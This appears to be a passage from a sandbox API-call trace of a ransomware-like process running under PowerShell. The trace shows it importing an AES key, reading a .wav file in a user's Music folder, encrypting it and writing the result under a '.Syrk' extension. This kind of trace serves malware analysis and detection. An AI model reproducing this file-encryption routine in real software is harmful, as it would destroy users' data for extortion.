(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0235.755] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.755] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0235.755] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0235.756] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.756] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0235.756] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0235.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0235.757] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.757] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0235.757] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.757] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0235.758] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.758] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0235.758] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0235.758] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.758] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0235.758] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.758] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0235.758] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.759] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.759] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.759] EtwEventActivityIdControl () returned 0x0 [0235.759] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.759] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.760] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0235.760] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0235.762] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0235.764] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x2365e48*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c68d00) returned 1 [0235.764] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.764] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.764] EtwEventActivityIdControl () returned 0x0 [0235.764] EtwEventActivityIdControl () returned 0x0 [0235.764] EtwEventActivityIdControl () returned 0x0 [0235.771] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 0x20 [0235.773] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 0x20 [0235.773] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.773] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.773] EtwEventActivityIdControl () returned 0x0 [0235.774] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.774] EtwEventActivityIdControl () returned 0x0 [0235.774] EtwEventActivityIdControl () returned 0x0 [0235.774] EtwEventActivityIdControl () returned 0x0 [0235.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.778] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0235.779] GetFileType (hFile=0x454) returned 0x1 [0235.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.779] GetFileType (hFile=0x454) returned 0x1 [0235.779] EtwEventActivityIdControl () returned 0x0 [0235.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.780] EtwEventActivityIdControl () returned 0x0 [0235.780] EtwEventActivityIdControl () returned 0x0 [0235.780] EtwEventActivityIdControl () returned 0x0 [0235.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5d [0235.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", nBufferLength=0x5d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", lpFilePart=0x0) returned 0x5c [0235.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0235.782] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0235.782] GetFileType (hFile=0x458) returned 0x1 [0235.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0235.782] GetFileType (hFile=0x458) returned 0x1 [0235.782] EtwEventActivityIdControl () returned 0x0 [0235.782] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x237ca78 | out: pbBuffer=0x237ca78) returned 1 [0235.784] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.784] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68c00) returned 1 [0235.784] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.784] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x237ddb0*=0x1, dwFlags=0x0) returned 1 [0235.784] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x237dd7c, dwFlags=0x0) returned 1 [0235.784] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.785] EtwEventActivityIdControl () returned 0x0 [0235.785] EtwEventActivityIdControl () returned 0x0 [0235.785] EtwEventActivityIdControl () returned 0x0 [0235.785] EtwEventActivityIdControl () returned 0x0 [0235.786] ReadFile (in: hFile=0x454, lpBuffer=0x23809ec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23809ec*, lpNumberOfBytesRead=0x5a2e7d8*=0xb6c, lpOverlapped=0x0) returned 1 [0235.787] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23949f8*, pdwDataLen=0x5a2e7cc*=0xb60, dwBufLen=0xb60 | out: pbData=0x23949f8*, pdwDataLen=0x5a2e7cc*=0xb60) returned 1 [0235.787] ReadFile (in: hFile=0x454, lpBuffer=0x23809ec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23809ec*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0235.787] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2395564*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2395564*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0235.787] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2395580*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2395580*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0235.787] WriteFile (in: hFile=0x458, lpBuffer=0x237cb60*, nNumberOfBytesToWrite=0xb84, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x237cb60*, lpNumberOfBytesWritten=0x5a2e7f8*=0xb84, lpOverlapped=0x0) returned 1 [0235.788] CloseHandle (hObject=0x458) returned 1 [0235.790] CloseHandle (hObject=0x454) returned 1 [0235.791] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.791] EtwEventActivityIdControl () returned 0x0 [0235.791] EtwEventActivityIdControl () returned 0x0 [0235.791] EtwEventActivityIdControl () returned 0x0 [0235.798] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 0x20 [0235.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.801] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.801] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.801] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.801] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.801] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.801] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.801] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.801] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.802] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.802] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.802] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.802] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.803] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0235.804] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.804] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", lpFilePart=0x0) returned 0x4b [0235.804] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 0x20 [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.808] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.808] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.808] CoTaskMemAlloc (cb=0x404) 